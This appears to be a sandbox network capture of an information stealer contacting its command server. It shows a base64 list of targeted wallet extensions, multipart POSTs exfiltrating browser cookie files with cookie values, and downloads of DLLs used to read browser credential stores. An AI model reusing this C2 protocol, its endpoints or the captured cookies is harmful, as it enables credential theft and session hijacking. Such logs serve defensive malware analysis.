Oct 27, 2024 07:59:03.185082912 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 27, 2024 07:59:03.185117006 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 27, 2024 07:59:03.185149908 CET	636	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 27, 2024 07:59:03.185182095 CET	1236	IN	Data Raw: 5a 47 52 6d 5a 6d 5a 73 59 57 78 38 4d 58 77 77 66 44 42 38 52 30 46 31 64 47 67 67 51 58 56 30 61 47 56 75 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d Data Ascii: ZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZ
Oct 27, 2024 07:59:03.185214996 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 69 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 Data Ascii: IFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGh
Oct 27, 2024 07:59:03.185249090 CET	528	IN	Data Raw: 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 Data Ascii: YmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB
Oct 27, 2024 07:59:03.197310925 CET	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHJJEHDHCAAKFIIDGI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 4a 4a 45 48 44 48 43 41 41 4b 46 49 49 44 47 49 2d 2d 0d 0a Data Ascii: ------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------ECGHJJEHDHCAAKFIIDGIContent-Disposition: form-data; name="message"fplugins------ECGHJJEHDHCAAKFIIDGI--
Oct 27, 2024 07:59:03.486927032 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 27, 2024 07:59:03.509732008 CET	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBAKJEHDBGHIEBGCGDG Host: 185.215.113.206 Content-Length: 7579 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 07:59:03.509732008 CET	7579	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 Data Ascii: ------HCBAKJEHDBGHIEBGCGDGContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------HCBAKJEHDBGHIEBGCGDGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 27, 2024 07:59:04.540221930 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 07:59:04.965115070 CET	94	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 07:59:05.252316952 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:05 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 27, 2024 07:59:05.252370119 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @
Oct 27, 2024 07:59:05.252401114 CET	1236	IN	Data Raw: 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: B
Oct 27, 2024 07:59:09.490561008 CET	953	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJE Host: 185.215.113.206 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------DAAECAFHDBGIDGCAEHJE--
Oct 27, 2024 07:59:10.284885883 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 07:59:10.370532036 CET	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIIEHJKKECGCBFIIJDA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="file"------FHIIEHJKKECGCBFIIJDA--
Oct 27, 2024 07:59:11.159504890 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 07:59:11.942594051 CET	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 31 62 38 32 39 65 39 62 61 38 31 31 31 34 36 31 32 63 30 36 66 37 64 39 66 39 34 61 34 36 63 62 31 33 65 34 39 39 62 39 34 32 62 34 38 63 36 61 64 37 39 39 31 35 36 66 37 34 64 37 35 63 65 37 31 61 38 32 62 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="token"bfe1b829e9ba81114612c06f7d9f94a46cb13e499b942b48c6ad799156f74d75ce71a82b------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="file"------CBGCAFIIECBFIDHIJKFB--
Oct 27, 2024 07:59:12.723579884 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 07:59:13.198827028 CET	94	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 07:59:13.485960007 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 27, 2024 07:59:14.978775024 CET	94	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 07:59:15.265773058 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 27, 2024 07:59:16.025479078 CET	95	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 07:59:16.312577009 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 27, 2024 07:59:16.901037931 CET	91	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 27, 2024 07:59:17.188106060 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 06:59:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 